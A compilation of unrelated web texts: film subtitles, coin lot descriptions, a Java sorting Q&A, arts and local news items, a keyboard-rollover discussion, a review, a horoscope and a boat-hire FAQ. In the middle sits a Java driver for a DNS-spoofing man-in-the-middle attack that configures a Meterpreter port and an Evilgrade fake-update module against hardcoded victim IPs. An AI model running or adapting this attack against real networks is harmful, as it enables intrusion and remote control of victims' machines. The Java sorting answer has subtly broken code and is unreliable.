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Synopsis: Historical reenactment of the air war in the early days of World War Two for control of the skies over Britain as the new Luftwaffe and the Royal Air Force determine whether or not an invasion can take place.
Genre: Action, Drama, History
Director(s): Guy Hamilton
Actors: Harry Andrews, Michael Caine, Trevor Howard, Curd Jürgens
Nominated for 1 BAFTA Film Award. Another 1 win.
Who the hell
is he trying to kid?
Hello? Hello, Abbeville?
What? But if you cannot
place them, advise Paris.
I'm at my winds end,
but carry on.
Reinforcements, sir?
Why don't you cut out
the clowning?
- Me, sir? What have I done?
- Don't ever let me see you...
doing a victory roll
over my airfield again.
I thought it would buck up
the civilians.
For God's sake, Jamie,
give your brain a chance.
Corporal,
refuel them immediately!
So anyway, he hit me
and made me nose bleed...
Corporal, I don't mean
with your blood.
I gave him a couple of socks...
And re-arm them.
Yes, sir!
Hello, Harvey. Where's Jumbo?
Posted missing last night.
You acting C.O.?
Oh, yeah. Of what?
Five serviceable aircraft.
No spares. No contact.
First we knew the bastards
would overrun us...
was when we tried to land.
But yes, I hear you very well.
Eh? What?
They are at Sedan?
For the benefit
of the uneducated among us...
I shall translate.
Archam can't believe
that Sedan's fallen. I can.
It's no use. They'll be here
in half an hour.
We must leave immediately.
Yes, let's get
the hell out of it.
Where to, sir?
Why don't you follow me
and find out? Come on, idiots.
After you.
Unless they've got there
before us.
Get that buzzard out of here!
We'll go with what we've got!
Forget your kit. Let's move.
Get all the transport you can
and get the men out of here.
All N.C.O. S report to me
immediately!
with the lame ducks?
Bombs away.
All the yanks, over here!
Load 'em up!
Over the wing.
Flood the cowling.
Plenty of it.
Right! Stand clear!
Into the trucks!
We haven't got all day!
"To the permanent
Secretary of State for air...
"Sir, I have the honor to refer
to the very serious calls...
"which have recently been
made upon fighter command...
"in an attempt to stem
the German invasion...
"of the continent.
"I hope and believe that our
armies may yet be victorious...
"in France and Belgium...
"but we have to face
the possibility...
"that they may be defeated.
In this case...
I presume that there is no one
who would deny...
"that England
should fight on...
"even though the remainder
of the continent of Europe...
"is dominated by the Germans.
"I must therefore request...
"That not one more fighter
be sent across the channel.
"If the home defense
is drained away...
"in desperate attempts to remedy
the situation in France...
"defeat in France will involve
the final, complete...
"and irremediable defeat
of this country.
"I have the honor to be, sir...
"your obedient servant,
H.C.T. Dowding."
Air Chief Marshal Dowding, sir.
You do realize, Dowding,
the position this puts us in?
I realize that the French have
been promised this squadron.
By Churchill personally.
He's given the French
prime minister his word.
You do appreciate, Dowding...
that Churchill
will have to see this?
That's why I wrote it.
This is the BBC home service.
Here is the news.
In the House of Commons
this afternoon...
the prime minister,
Mr. Churchill, said...
"What General de Gaulle called
the Battle of France is over.
The battle of Britain
is about to begin."
Eyes right!
I welcome you in the name of
the Second Luftwaffe, General.
Thank you, thank you,
Kesselring.
- My dear Fink.
- General.
Everything all right?
We are ready, General.
We can start.
Very well, gentlemen,
then forward.
Call out the guard!
If I have to inspect
one more bomber...
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Manfred Schanz graduated from the Academy of the World Trade in Frankfurt as a commercial landlord. He has a 14-year sales experience with Nixdorf, Hewlett Packard. He was also European Sales & Marketing Director at Wang. His main areas of expertise at Delta were Technology & Media, Professional Services, Transport & Logistics. Manfred Schanz has been working in executive search since 1986 and has been with Delta Management Consultants since 1991. Since 2016 he has been an advisor in Delta.


Choice Extremely Fine and bordering on About Uncirculated. Some lustre survives and light gray save for dark russet around the reverse edge; 1840'O' WB.102. Very Small Mintmark. A strong Extremely Fine or better, but signs of a past gentle cleaning. An impressive early pair from this wonderful collection. 2 pieces.
A strong Extremely Fine, approaching About Uncirculated. A couple of minor rim marks on the reverse above UNITED. Delicate russet toning over steel gray; 1846'O' WB.101. Medium, Normal Date. Extremely Fine and approaching About Uncirculated. Attractive toning and surfaces. 2 pieces.
Very Fine to Extremely Fine in terms of wear, but cleaned long ago and there is a field mark left of Liberty's arm; 1843'O' WB.101. Fine to Very Fine, but lightly cleaned; 1846 WB.101. Medium Date. Fine to Very Fine, but cleaned. 3 pieces.
Fine, nicely toned but there are pin scratches behind the eagle's head; 1847 WB.101. Choice Very Fine, steel gray and pleasing; 1848'O' WB.101. A strong Very Fine, with light gold toning and a sharp strike. 3 pieces.
Extremely Fine, with average surface marks expected, but lustrous; 1845'O' WB.108. Doubled Date Left. Extremely Fine and steel gray with attractive surfaces. An excellent coin for the grade with a boldly doubled date; 1858'O' WB.101. Extremely Fine, although a couple of minor dark specks are present. A good collector group. 3 pieces.
Detail of about Extremely Fine, but lightly cleaned. Steel gray with a trace of russet near the rim; 1853'O' Arrows & Rays. WB.101. Very Fine, but lightly cleaned and a trifle dull, retoning with russet on the reverse; 1855'O' Arrows. Very Fine to Extremely Fine, lightly cleaned and now nicely toned with blues and golds. 3 pieces.
Extremely Fine or better, but signs of an old cleaning; 1857'O' WB.102. Errant Date in Rock. A strong Very Fine, but wiped long ago and warped by an edge mark which has been repairedat the 3:00 position on the reverse; 1867'S' WB.101. Detail of Extremely Fine or finer, but noticeably cleaned. 3 pieces.
Detail of about Extremely Fine, but buffed to simulate lustre. Later die state; 1854'O' Arrows. WB.101. Very Fine, but lightly cleaned. Dark gray starting to form around the periphery; 1856'O' WB.104. Slightly repunched 6. Extremely Fine or better, but the obverse is slightly rough from a past enhancement which left the surfaces a tad dull. Steel gray. 3 pieces.
Fine, light gray with russet on the reverse periphery; 1858 WB.101. Fine, lightly cleaned in the past; 1859 WB.102. Fine to Very Fine, but cleaned. Still a decent lot as the cleaning evidence is minimal. 3 pieces.
About Uncirculated, but subtly cleaned and exhibiting two minor planchet streaks on the reverse; 1857 WB.103. Errant Date in Rock. About Uncirculated, but the color has been brightened and there are scattered circulation marks. 2 pieces.
Choice Extremely Fine and attractive; 1861 WB.101. About Extremely Fine, light gray with clean surfaces; 1877'S' WB.101. Extremely Fine, but for minor pin scratches meandering over the reverse. 3 pieces.
Very Fine or nearly so. Dark gray and pleasing; 1865'S' WB.103. Repunched '1'. Fine to Very Fine, also dark gray; 1871'S' WB.101. Very Fine, light gray. 3 pieces.
Extremely Fine to About Uncirculated, signs of an old cleaning but attractively toned today; 1864 WB.101. Normal Date. A sharp Extremely Fine, interesting rim crumbling around the right side of the obverse; 1865'S' WB.101. Very Fine, cleaned long ago, dark gray today. 3 pieces.
Extremely Fine, but lightly cleaned; 1868'S' WB.101. Very Fine, cleaned and retoned with fingerprint patterns; 1871'S' WB.101. Fine to Very Fine, but cleaned. A lovely trio of 'S' mint Half Dollars. 3 pieces.
Fine. Cleaned long ago, although minimally distracting; 1863'S' WB.102. Broken Mintmark. Very Fine, slightly washed out from cleaning; 1868'S' WB.101. Fine, evidence of old cleaning. 3 pieces.
Extremely Fine nearly About Uncirculated but lightly cleaned and the surfaces are a trifle rough; 1875 WB.101. About Uncirculated, lightly cleaned and with clusters of nicks at the top of the obverse and above the eagle's head. 2 pieces.
Extremely Fine or thereabouts, gently polished some time ago, nicely toned today; 1877 'CC' WB.102. Medium Mintmark, Open Bud. About Uncirculated, and just about perfect color if you like gold, green and russet toning. 2 pieces.


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Q: sorting list compared to other list in java I have two list, say L1 and L2 with data as below:
   L1:
   {a, def2, a1;
    a, ert4, a2;
    i, ert4, a7;
    i, ght6, a8;
    a, def2, a3;
    o, ght6, a2;
    i, htf,  a8;
   }

   L2:
     {
      a1, 7;
      a2, 9;
      a3, 14;
      a4, 12;
      a5, 18;
      a6, 2;
      a7, 6;
      a8, 15
      }

I want to sort list L1 as per the the values of a1, a2 in list l2 in descending order. The output I want to be as:
{a, def2, a3;
 a, ert4, a2;
 a, def2, a1;
 i, ert4, a8;
 i, htf, a8;
 i, ght6, a7;
 o, ght6, a2
 }

I know we can use comparator for custom ordering, but I am not sure how to use it for different list.
Please tell me how I can do this.
Thanks

A: firstly , L2 can be implemented using a map
HashMap<String, Integer> l2

then you can define a class for the element in L1
class Element implements Comparable<Element>{
     String value, label; // label is a1,a2,a3....; value is whatever other data you want to store
      int sequence;// used for sorting
      public int compareTo(Element o)          {
  return this.sequence- o.sequence;
}
}

Given, that when you read L1 elements, just do
Element element = new Element();
element.value = "def2";
element.label="a1";
element.sequence = L2.getValue(element.label);

List L1 = new LinkedList();
L1.add(element);

Assuming L1 is also a collection, such as a list, you sort by
 Collections.sort(L1);

this will achieve your ordering purpose.

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'RE:animate' is the fourth Oriel Davies Gallery biennial Open exhibition. Submissions were sought which explored animation in its broadest sense. Work selected deals with the actuation of movement, the possibilities of non-narrative structure and the potential of audience participation.
Fourth in the series of Oriel Davies biennial Open exhibitions, this year's show, RE:animate, showcases an inspirational selection of work by 39 artists from across the UK. This year, submissions were invited from individuals whose practice or specific works explore the notion of animation in diverse and intriguing ways. Our intention and aspiration is to offer the opportunity for an expanded and broad interpretation of this discipline while using the gallery space as an alternative viewing platform.
The term animation derives from the Latin 'anima' meaning life, and 'animare' meaning to breathe life into. Throughout history and across the world, the urge to experiment with techniques to present an impression of a moving image has been profound - from cave drawings, magic lanterns, flick books and thaumatropes to cel animation, stop-motion film and computer generated imagery. In this exhibition, works range from depictions of image sequences, both statically and in rapid succession, to actual moving objects while also exploring the possibilities of non-narrative structures and alternative realities. Through installation, projection, photography and drawing, the resulting show presents a rich collection of dynamic experimental works and compelling visual encounters.
All 44 works on display have been chosen by a selection panel comprising Ceri Hand (Director, Ceri Hand Gallery, Liverpool), Peter McLuskie (Flip Animation Festival Organiser, Light House, Wolverhampton), Lorna Thomas and Allegra Mansini-Barker (Oriel Davies Young Curators) and Alex Boyd (Curator, Oriel Davies Gallery). The process of identifying specific works focused on quality, innovation and originality in order to produce a cohesive and engaging exhibition of contemporary work within this particular area of practice.
We are delighted to award prizes to selected individuals in the show, made possible with generous support from our Principal Sponsors, Whittingham Riddell. The prizes are: the Whittingham Riddell 1st Prize for the overall winner; 1st Prize in the student category; two 2nd prizes in both categories; and a People's Choice Prize, sponsored by Newtown Station Travel. In addition to their awards, both 1st Prizewinners will be each given a solo show at Oriel Davies in 2011. The People's Choice Prize will be announced in early August.
Whittingham Riddell, Chartered Accountants are Principal sponsors of RE:animate, Oriel Open 2010. The Peoples Choice Prize is sponsored by Newtown Station Travel. Print sponsored by Imprint, Newtown.


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Listen: Metallica Premiere New Ronnie James Dio Tribute Track, "Ronnie Rising Medley"
Earlier today, Metallica premiered their new "Ronnie Rising Medley," which features the Rainbow tracks "A Light in the Black," "Tarot Woman," "Stargazer" and "Kill the King," on RollingStone.com.
You also can stream it below.
The "Ronnie Rising Medley" appears on the upcoming Ronnie James Dio tribute album, This Is Your Life, which will be available April 1 via Rhino in physical and digital versions.
This Is Your Life can be preordered via iTunes and Amazon.
As a bonus with the iTunes pre-order, fans will get a free instant download of Motörhead and Biff Byford of Saxon's cover of Rainbow's "Starstruck." All digital versions of This Is Your Life, will include a newly recorded cover of Black Sabbath's "Buried Alive" re-imagined by Jasta, the side project of Hatebreed's Jamey Jasta. This track will be exclusively available on the digital versions.

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Norfolk Southern gifts locomotive to support Penn State Altoona program curriculum
by: Rian Bossler
ALTOONA, Pa. (WTAJ) — Penn State Altoona has received an in-kind gift from Norfolk Southern that will enhance the college's Rail Transportation Engineering (RTE) program curriculum.
The gift is a SD60i freight locomotive originally built by General Motors for Conrail in 1995. Norfolk Southern took ownership of the locomotive in 1999 and has now gifted it to Penn State Altoona with the unit number: "PSU 2020."
Although the diesel electric locomotive will not be operational, it will be used to teach students about locomotive parts, where components are located, and how they fit together. In the Railroad Operations & Safety course, students will learn about the basics of controls in the cab of the locomotive and learn to identify major locomotive components.
The locomotive is to our RTE students as a cadaver is to medical students. Our students will get to really roll up their sleeves and learn the inner workings of a diesel electric locomotive. I don't know of any university in the country that can offer this type of in-depth education in locomotive function and design.
Bryan Schlake, Assistant Teaching Professor in Rail Transportation Engineering
Additionally, various electro-mechanical engineering technology courses and independent study courses could benefit from using the locomotive. Schlake says there are also opportunities for outreach with the SD60i including developing K-12 educational videos and tours of the locomotive during future engineering summer camps.
Philip Merilli, the retired vice president of engineering for Norfolk Southern, fourth-generation railroader from Altoona and a Penn State alumnus, says it has been an honor to be part of the RTE program at Penn State Altoona through its advisory board.
When the opportunity arose to further support the program with a locomotive for learning, I was happy I could make the connections necessary to enable it. There is no doubt that this donation will lead to more opportunities for future railroad engineers to be better equipped to enter and advance the industry."
Philip Merilli
by Tiffany Rizzo / Jan 19, 2021
BLAIR COUNTY, Pa. (WTAJ) --- The Altoona-Blair County Airport has a new carrier that is offering more options.
The airport manager, Tracy Plessinger said along with Boutique Air providing more comfortable and faster aircraft, there is also a rental car option for convenience.
Local restaurant returns act of kindness
by Peyton Kennedy / Jan 19, 2021
CENTRE COUNTY, Pa. (WTAJ) -- After a couple donated their stimulus check to the waitstaff and employees of Robin Hood Brewing Company earlier this month, the restaurant is returning the act of kindness and thanking two families who were frequently supporting Robin Hood during their COVID-19 related closure.
The restaurant is giving each of the families free pizza once a month for an entire year.


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Symposium-cum-Workshop on Significance of Bamboo
Symposium-cum-Workshop on Significance of Bamboo in the Socio-Cultural & Economic Development of North East India A Celeberation of Bamboo Culture in collaboration with The Department of Cultural & Creative Studies, North-Eastern Hill University, Shillong & Riti Academy of Visual Arts, Shillong
Venue: NEHU, Shillong
Dates: 10th to 16th March 2016
Concept Note:
Bamboo, a giant woody grass, is the fastest growing plant in the world. Although different species of bamboo are found in diverse climatic conditions, it is mainly grown in tropical regions.Bamboo has tremendous potential and relevance for a variety of people in different parts of the world, especially in East Asia, South Asia, and South-East Asia. In India, bamboo can be found in South, Central, Eastern and North-eastern regions of India and forms an integral part of the social, cultural and economic life of the people. In North East region of India, bamboo grows in abundance in the plains as well as in the hilly areas. Bamboo as matter of fact figures as a vital component of biodiversity of North East India. It is a rich natural treasure which is bountiful in this region.
North East India,comprising of the eight states namely- Arunachal Pradesh, Assam,Manipur, Meghalaya, Mizoram, Nagaland, Tripura and Sikkim (popularly known by the sobriquet 'eight sisters'), is the home to a large number of tribal and non tribal communities. Geographically, it consists of the Eastern Himalayan ranges in the North, Brahmaputra valley at the center,southern hilly tracts and the Barak valley. In addition to the major nontribal communities such as the Assamese, Bengalis, Nepalis and Meiteis,some 100 tribal communities or so inhabit the region. These communities not only speak different languages and dialects but also follow diverse socio-cultural practices.
Concept Note: Bamboo, a giant woody grass, is the fastest growing plant in the world. Although different species of bamboo are found in diverse climatic conditions, it is mainly grown in tropical regions. Bamboo has tremendous potential and relevance for a variety of people in different parts of the world, especially in East Asia, South Asia, and South-East Asia. In India, bamboo can be found in South, Central, Eastern and North-eastern regions of India and forms an integral part of the social, cultural and economic life of the people. In North East region of India, bamboo grows in abundance in the plains as well as in the hilly areas. Bamboo as matter of fact figures as a vital component of biodiversity of North East India. It is a rich natural treasure which is bountiful in this region.
North East India, comprising of the eight states namely- Arunachal Pradesh, Assam, Manipur, Meghalaya, Mizoram, Nagaland, Tripura and Sikkim (popularly known by the sobriquet 'eight sisters'), is the home to a large number of tribal and non tribal communities. Geographically, it consists of the Eastern Himalayan ranges in the North, Brahmaputra valley at the center, southern hilly tracts and the Barak valley. In addition to the major non tribal communities such as the Assamese, Bengalis, Nepalis and Meiteis, some 100 tribal communities or so inhabit the region. These communities not only speak different languages and dialects but also follow diverse socio-cultural practices.
Bamboo plays an important role in the lifestyles of the people of the North East India. In fact, bamboo is inextricably related to the lives of all the communities from birth to death. At every stage of life, bamboo and its products are intimately connected. Bamboo has tremendous economic and commercial value for the people of North East India as it serves as an important source of livelihood especially for the crafts-men and artisans. Various species of bamboo are used by the inhabitants for a variety of purposes and needs, such as architecture, household objects, agricultural implements, domestic utility items, weapons, musical instruments, textile, traditional cuisine, ethno-medicine, healing practices, rituals so on and so forth . At times it also serves as animal fodder. The Khasi people of Meghalaya as well as other ethnic groups have deep knowledge about the utility of bamboo, which is unique and scientifically relevant.
Bamboo finds a notable place in the folklore, especially in oral tradition. Several myths, legends and narratives are woven around various aspects of bamboo since time immemorial. Bamboo flowering is a very rare phenomenon. It has its manifestations in local stories and tales. Symbolic and metaphoric expressions are associated with bamboo among diverse communities.
The significance of bamboo in respect of both traditional and contemporary economy and technology cannot be denied. Bamboo plays a holistic role in repertoire activities and thus presents a valuable dimension in the socio-cultural and economic development of the people of North East India.
Accordingly, Indira Gandhi National Centre for the Arts (IGNCA), New Delhi, Department of Cultural and Creative Studies, North East Hill University, Shillong and Riti Academy of Visual Arts, Shillong has taken the initiative to organise a weeklong celebration of Bamboo culture. An integrated programme consisting of symposium, workshop, exhibitions and cultural events has been chalked out for the dissemination of knowledge and to create awareness about bamboo culture.
Objective and scope: The primary objective of this symposium-cum-workshop is to relook at the importance of bamboo in the socio-cultural and economic development of the people of North East India and its problems and prospects. The basic aim of this programme is to motivate public participation and to create awareness and ensure promotion and preservation of bamboo products and associated beliefs and knowledge system for the posterity. The celebration of Bamboo culture thus integrates and synergises the bamboo and its multi-pronged traditions of North East India in a common platform.
Sub-Themes for discussion: In view of the objective and scope of the symposium-cum-workshop, the following major sub-themes have been identified for deliberation:
Ecology, ethnography and scientific knowledge on bamboo and their various usages in human society. Ethno-botanical parameters of bamboo and its preservation, conservation and propagation.
Ethnography (art and crafts) and aesthetics connected with bamboo and its integrated expression in the regional cultural history.
Significance of bamboo in socio-cultural development with special emphasis on material culture of tribal and nontribal people.
Folkloristic expressions (myths, legends, ballads, songs etc) on bamboo with emphasis on continuity of the bamboo culture in a changing human situation.
Beliefs, practices, traditions associated with bamboo in different societies including totemism and taboo and its meaning.
Socio-economic and technological parameters of bamboo and their problems and prospects in sustainable development (industry and commerce)
Dr. Richa Negi, Coordinator
North East India Research Programme & Activity, IGNCA, New Delhi
Email ID : neresearchignca@gmail.com janapadasampada@gmail.com


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Why can my keyboard only digest 6 keypresses at a time?
When I slam my hand onto my keyboard, only a maximum of 6 keys will be registered, I've tested this for the past few minutes and was unable to get more than 6. Is this the same on all keyboards? If not, what would be the distinguishing factor, If yes: why 6 specifically?
For clarification: I do not have a usecase for this, I am simply curious
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Comments are not for extended discussion; this conversation has been moved to chat. – DavidPostill♦ Jun 8 '19 at 15:12
Not all keyboards are like that. What you're referring to is called rollover or key rollover. This simply refers to a computer's ability to correctly handle several simultaneous keystrokes.
X-key rollover refers to how many keys you can press down at once, while still being registered by the computer.
I don't know if there is a standard "default" level, but many keyboards are 6-key rollover. There are some gaming and higher end keyboards that have true n-key rollover, which means each key is scanned completely independently by the keyboard hardware. This ensures that each keypress is correctly detected regardless of how many other keys are pressed down at the same time.
Depending on your keyboard, you could have the option to use 6-key rollover, or enable true n-key rollover. For example, I have a Deck Hassium Pro that has 6-key rollover by default, but there is a hotkey to enable true n-key rollover.
DrZooDrZoo
One reason for the 6 key limit: the HID specification requires that keyboards not report more than 6 keys at once to the BIOS (though the OS has no such limitations). See usb.org/sites/default/files/documents/hid1_11.pdf appendix B for reference. I suspect it's just that nobody wants to deal with having a BIOS mode and a "extended mode" with n-key rollover. – Andrew Sun Jun 6 '19 at 0:05
@AndrewSun: Bizarrely enough, this is only a restriction with USB. PS/2 keyboards can support true n-key rollover without having to provide "Am I talking to the BIOS?" logic. – Kevin Jun 6 '19 at 6:38
Does the n-key-rollover-hotkey work if you are already pressing six other keys when you hit it? – JDL Jun 6 '19 at 14:18
@JDL that was harder than I thought to test, but the answer is yes. – DrZoo Jun 6 '19 at 14:29
The claim that the HID specification requires this is really a myth. The boot report descriptor format does not support more than 6-key rollover (excluding modifiers). But that does not preclude the very thing that USB has designed in: alternative report descriptor formats. People can and do use those. unix.stackexchange.com/a/401773/5132 – JdeBP Jun 6 '19 at 19:28
Search for key rollover.
One limit occurs because most keyboards do not have individual wires for each key; instead the keyboard has a matrix (or several) where each key connects a specific row/column, and when too many simultaneous connections are made in the same matrix, they become impossible to distinguish.
So the first number of simultaneous keys depends on how the keyboard's electronics were designed. Search "keyboard matrix ghosting" for quite a few articles on this topic.
If the keyboard's hardware avoids the physical issue, the other limit occurs due to the protocol used by USB HID devices – or rather, two protocols. To quote Wikipedia:
For the user to get the benefit of the full n-key rollover, the complete key press status must be transmitted to the computer. When the data is sent via the USB protocol, there are two operating modes: Human Interface Device (HID) "report protocol" and "boot protocol". The boot protocol, which is enabled on boot, is limited to 8 modifier keys [...] followed by maximum 6 key codes. This will limit the number of simultaneous key presses that can be reported. To get full n-key rollover, HID report protocol must be implemented on both keyboard and computer.
(If you're sure the keyboard supports it, then it might be just a matter of switching the driver in Windows.)
The first problem can be solved by putting each key in series with a diode. – Paul Jun 6 '19 at 9:20
Keyboards do not wire to each single key independently. Membrane keyboards use a sort of a sparse grid, which is just enough to tell which key is being pressed right now. Varying by the model, there's about 20 contacts between the membrane and the controller board, including the ground.
Every key being pressed or not is 104 bits of data per poll interval. If the membrane contained semiconductor components that could encode this data, it could send it to the controller. But the membrane is just a plastic film with a bit of silver tracing - a parallel analog interface that has no more capacity than its number of contact pins. The traces are placed such as to identify a couple keys being pressed simultaneously, plus the modifiers.
High-end keyboards are almost universally mechanical, built on a PCB, which supports active electronics at any place on the board. Early mechs included some 6KRO models, but the majority of mechanical keyboards today support NKRO, which means any number of keys will be registered simultaneously.
If you aren't prone to spills and look for guaranteed key registration, the way to go today is mechanical. (With spills, most back-lit mechanicals will die from the high current to the backlight hitting the controller.) There's a small segment that still prefers scissor membrane keyboards, and non-scissor membranes remain the second most spill-resistant practical keyboards after Topre's capacitor models, usually lumped in with mechanical ones.
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Here is the third volume in Chandos's series of Richard Rodney Bennett's orchestral music, which fully maintains the high standards set by its predecessors. It covers a forty-six-year period, beginning with the First Symphony (1965). Older music-lovers may recall the wide-ranging expectation the announcement of its existence caused at the time – surely, not since Walton's First was a British Symphony awaited with such anticipation as was Bennett's. He was the fashionable personification of modern British 'serious' music, a wide-ranging musician already known for brilliant operas, film-scores, chamber, vocal and orchestral works, besides being a fine jazz pianist and a more than passable lyric tenor of the Sinatra range to intimate audiences.
Such a plethora of gifts in one man inevitably produced in certain quarters some pretty strong reactions, and it may be that certain of Bennett's later works betray a fluency that was not matched by a commensurate depth of feeling, but musicians of this standard do not come often, and at his best Bennett's music has still not achieved the acceptance by all that it demonstrably merits. Latter-day music-lovers, apart from those who recall Bennett personally with affection and admiration, will thank Chandos and especially John Wilson for this on-going series of recordings.
The performances here enshrined are consistent in quality, understanding and commitment. Chandos could not have chosen a conductor more in-tune with Bennett's wide-ranging qualities than Wilson – himself the dedicatee of Reflections on a Sixteenth-Century Tune. This masterly composition for string orchestra may be the best introduction to Bennett's world for the enquiring music-lover. It is, in its own way, a masterpiece, a fine work in the long line of British music for strings. It is not as profound as the Tallis Fantasia, Elgar's Introduction and Allegro or Tippett's Concerto for Double String Orchestra, but is fully the equal of Britten's Frank Bridge Variations, and at times plumbs somewhat greater depths than that brilliant youthful masterwork (Bennett, 1936-2012, was sixty-three when Reflections was written). The performance is magnificent: the playing of the BBC Scottish is of the highest possible standard, and the recorded sound is glorious.
In complete contrast, the (less than) ten minutes A History of the Thé Dansant – three songs for mezzo and small orchestra – show Bennett in equally commanding lighter vein. Originally for voice and piano, to words by the composer's sister-poet (what a gifted family!), the songs more than demonstrate a strain of the lighter aspects of life without quite being a vocal equivalent of Strictly Come Dancing, for the 'tea-dance' recalled here is somewhat more genteel although it never descends into musical parody. Sarah Connolly relishes the many sympathetic opportunities Bennett gives, and Wilson's partnership, stylistically, is to the manor born.
Zodiac, dedicated to Elisabeth Lutyens on her seventieth-birthday, is a set of what one might term short variation-studies on each of the twelve signs of the Zodiac, grouped into the four seasons, each group joined to its predecessor and successor by five opening and closing ritornellos – so, although the work is made up of seventeen continuous sections, it flows effortlessly from one to the other without necessarily descending into a game of 'spot the star-sign'. The result is a semi-serious piece of diverting music, occasionally causing us to discard our easy-going listening stance to ponder deeper emotional expression, a fascinating work that exerts a lasting fascination and is beautifully realised here.
The disc begins with Bennett's First Symphony. So much was hyped before the premiere in 1965 by the LSO under István Kertész that many in the packed Royal Festival Hall audience (of which I was member) appeared nonplussed at the result. A latter-day Walton 1 this is not: its three movements are over in twenty-two minutes (half the length of the four-movement Walton) and the work's musical language is very much of the mid-60s: Henze (his Fifth Symphony, especially) may be a close reference. This was not the 'crowd-pleaser' many expected, but as with Bennett's two later Symphonies, its depth does not reveal itself at once.
This is clearly young man's music, which may at first suggest a hiding of emotional content beneath a veneer of fashion, and whilst it is true this work breathes the 1960s as sure as does A Hard Day's Night, further listening discloses more of a Sergeant Pepper-ish seriousness, the organic nature of the juxtapositions eventually reveal true living organisms, the composer – and here, perhaps, is the heart of Bennett's creativity – never for one moment wearing his emotional musicianship on his sleeve, yet it is there, nonetheless, beneath the occasionally clinical linear creativity.
It is well-worth seeking out, for the rewards are invariably positive and worthwhile. After more than sixty years of admiring this wholly exceptional musician (sometimes enviously), I welcome unreservedly the success and achievement of this eminent project. Chandos's presentation is fully worthy of the musical achievement, the booklet cover reproducing a collage by Bennett himself, and the superb booklet notes by Richard Bratby are a model of what knowledgeable and informative accompanying texts should be.


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Finch, Charles
From the critically acclaimed and USA Today bestselling author Charles Finch comes The Vanishing Man , a prequel to his Charles Lenox Victorian series, in which the theft of an antique painting sends Detective Lenox on a hunt for a criminal mastermind. London, 1853: Having earned some renown by solving a case that baffled Scotland Yard, young Charles Lenox is called upon by the Duke of Dorset, one of England's most revered noblemen, for help. A painting of the Duke's great-grandfather has been stolen from his private study. But the Duke's concern is not for his ancestor's portrait; hiding in plain sight nearby is another painting of infinitely more value, one that holds the key to one of the country's most famous and best-kept secrets. Dorset believes the thieves took the wrong painting and may return when they realize their error--and when his fears result in murder, Lenox must act quickly to unravel the mystery behind both paintings before tragedy can strike again. As the Dorset family closes ranks to protect its reputation, Lenox uncovers a dark secret that could expose them to unimaginable scandal--and reveals the existence of an artifact, priceless beyond measure, for which the family is willing to risk anything to keep hidden. In this intricately plotted prequel to the Charles Lenox mysteries, the young detective risks his potential career--and his reputation in high society--as he hunts for a criminal mastermind.
Publisher: New York : Minotaur Books, 2019
Branch Call Number: MYS FIN
Characteristics: viii, 288 pages ; 25 cm
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Charles Lennox, private detective/Victorian/England
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package exploits.mitm;

import java.io.IOException;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

public class TestDNS
{
	public static void main (String[]args) throws UnknownHostException
	{
	    List<String> gatewayIPs = new ArrayList<String>();
            List<String> victimIPs = new ArrayList<String>();

            gatewayIPs.add("192.168.2.130");
            victimIPs.add("192.168.2.133");

	        // asked user for domain to use
		DNSSpoofing spoofer = new DNSSpoofing(gatewayIPs, victimIPs);
		Scanner user_input = new Scanner(System.in);

		String domain;
		System.out.print("What domain do you want to use to spoof?\n)");

		while (true)
		{
                    domain = user_input.next();

                   if ((domain == null) || domain.isEmpty())
                   {
                         System.out.print("Input was empty. Please provide a domain: \n");
                         continue;
                   }
                   else
                       break;
                }

		spoofer.setSpoofDomain(domain);

		// asked user for lPort to use
		String lPort;
		System.out.print("LPORT: 8675 Would you like to change it? If not, press enter.\n)");

		while (true)
		{
		    lPort = user_input.next();

	            if (lPort.isEmpty())
	            {
	        	lPort = "8675";
	        	break;
	            }
	            else
	            {
	        	try
	        	{
	        	    Integer.parseInt(lPort);
	        	    break;
	        	}
	        	catch(NumberFormatException ex)
	        	{
	        	    System.out.print("Only numbers exepted for the LPORT");
	        	}
	            }
		}

		spoofer.setMeterpreterLPort(lPort);

		String evilgradeModule;
		System.out.print("What module do you want to configure in Evilgrade?\n)");

                while (true)
                {
                    evilgradeModule = user_input.next();

                   if ((evilgradeModule == null) || evilgradeModule.isEmpty())
                   {
                         System.out.print("Input was empty. Please provide a module: \n");
                         continue;
                   }
                   else
                       break;
                }

                spoofer.setModuleEvilgrade(evilgradeModule);

		try
        {
            spoofer.runAttack();
        }
        catch (IOException e)
        {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
	}

}

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Our deep desires can inform us of our soul's intentions. When you want something like a career change, relationship, new home, family, or fresh start, your soul is asking for an expansion opportunity. These types of wants offer an indication of what next steps to take on your life path, and your journey to manifesting them can be an epic hero's journey! When things don't manifest quickly, you often have to surrender to the process and let go. In doing so, you open yourself to possibilities you could never have imagined. As an Aquarius, you probably had a couple of months full of desire, motivation, surrender, and starting anew. You likely had to keep your ego in check throughout the process. That cycle has been completed, and this month, you will likely see the benefits of all your efforts.
At the beginning of the month, you could likely have financial matters on your mind. Try not to dwell on any past decisions you would do differently today. Picture the past through a positive frame, and you may have new insights about ways you can build upon past experiences. Perhaps you can find ways to change your money mindset, and then you better think about modifying investments, especially after September 10.
If you are in a relationship and newly cohabiting or recently married, you might have some adjustments to make with your partner. This is a favorable time to adjust any imbalance in the relationship and find ways to have a more harmonious partnership. Mars, the planet of individuation, moves back into your sign after its retrograde cycle on September 10, and you could feel a need for personal space and freedom. If you are single, great! Use the powerful influence of Mars in your sign to exert energy. Work out harder at the gym or dedicate some time to completing important projects. You'll feel the extra motivation. If you are in relationships of any sort, you might want to schedule some you time, especially around September 18. Because Mars is the planet associated with passion, you could experience more of a spark in your relationship at the end of the month. Balance your individual needs with those of your relationship.
Professionally, this is a favorable month for making introductions, team building, and self-promotion. The Mars influence offers you a lift in confidence, and it will show in all you do. So, take advantage of it and start a podcast, submit articles, create videos for YouTube, increase your presence on Instagram, or anything like that, especially around the time of the full moon September 24. The sign of Aquarius is often associated with friendship and community. This month, build your team, connect with your people, and socialize.


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Yes all bedding and towels are included in the hire charge.
Will i have to fill up with diesel and water?
You are provided with a full tank of fuel which is included in the cost. Depending on how much water you use you may have to fill up but there are plenty of water points along the Bridgewater Canal.
Can i stop anywhere overnight?
There are some places we wouldn't recommend stopping overnight but one of our team will run through the best spots on your day of arrival.
What if i break down or have an accident?
One of our team will be on call throughout your holiday to give advice and come out if needed.
Will it be warm onboard?
Yes our boat has both a multifuel stove and full central heating. Smokeless coal for the stove can only be purchased from us directly.


